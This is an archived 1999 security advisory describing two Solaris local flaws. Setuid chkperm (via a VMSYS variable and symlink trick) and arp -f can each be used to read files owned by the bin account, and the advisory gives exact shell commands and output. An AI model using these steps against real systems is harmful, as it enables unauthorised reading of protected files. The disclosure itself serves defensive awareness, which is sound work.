solaris.chkperm+arp.txt

1999-12-02T00:00:00
ID PACKETSTORM:11322
Type packetstorm
Reporter Brock Tellier
Modified 1999-12-02T00:00:00

Description

                                        
                                            `Greetings,  
  
OVERVIEW  
/usr/vmsys/bin/chkperm and /usr/sbin/arp can be used to read bin-owned files.  
  
BACKGROUND  
All my testing was done on Solaris 2.7 and 2.6 SPARC edition.  
  
DETAILS  
  
Vuln #1 - chkperm  
This one isn't nearly as interesting as the instant-shell variety. Here's how  
it works:  
  
chkperm is suid/sgid bin as shown:  
bash-2.02$ ls -la /usr/vmsys/bin/chkperm  
-rwsr-sr-x 1 bin bin 10080 Sep 1 1998 /usr/vmsys/bin/chkperm  
  
  
/etc/bin is a bin/bin owned file mode 660 (thus shouldn't be readable by me)  
as shown:  
bash-2.02$ ls -la /etc/bin  
-rw-rw---- 1 bin bin 45 Nov 15 16:44 /etc/bin  
  
  
the exploit goes as follows:  
  
  
  
bash-2.02$ export VMSYS=/usr/home/btellier  
bash-2.02$ mkdir lib  
bash-2.02$ chmod 777 lib  
bash-2.02$ ln -s /etc/bin lib/.facerc  
bash-2.02$ /usr/vmsys/bin/chkperm -l  
seekret1  
seekret2  
seekret3  
seekret4  
seekr  
bash-2.02$   
  
As we can see, it cuts off the last line of five total for some reason. The  
meat of this exploit is the fact that chkperm allows you to supply the  
directory it will write known file names with VMSYS, a big no-no. I've not  
been able to get chkperm to either a. change the permissions of an existing  
bin-owned file or b. create a bin-owned file other than .facerc, though this  
can be created anywhere on the filesystem via export VMSYS=/etc or some such  
command.   
  
This exploit is sort-of a variation on the old chkperm exploit which allowed  
.facerc to be linked to /usr/bin/.rhosts. That particular problem was fixed,  
but this one was left behind.  
  
Vuln #2 - arp  
  
Just as the first, you may read any bin owned files:  
bash-2.02$ ls -la /etc/bin  
-rw-rw---- 1 bin bin 45 Nov 15 16:44 /etc/bin  
bash-2.02$ cat /etc/bin  
cat: cannot open /etc/bin  
bash-2.02$ /usr/sbin/arp -f /etc/bin  
arp: bad line: seekret1  
  
arp: bad line: seekret2  
  
arp: bad line: seekret3  
  
arp: bad line: seekret4  
  
arp: bad line: seekret5  
  
bash-2.02$   
  
DISCUSSION  
Now I, just as you probably are, am wondering how this slight bug might be  
upgraded or combined to become more severe. I can't think of any situation  
where we have bin-owned files unreadable that contain sensitive information  
(considering that we can't overwrite the files, or execute them or change the  
modes, all we can do is read plaintext). Maybe one of the bugtraq readers has  
some old exploit lying around that required the reading of a bin owned file in  
order to work. Or something.  
  
Brock Tellier  
UNIX Systems Administrator  
btellier@usa.net  
`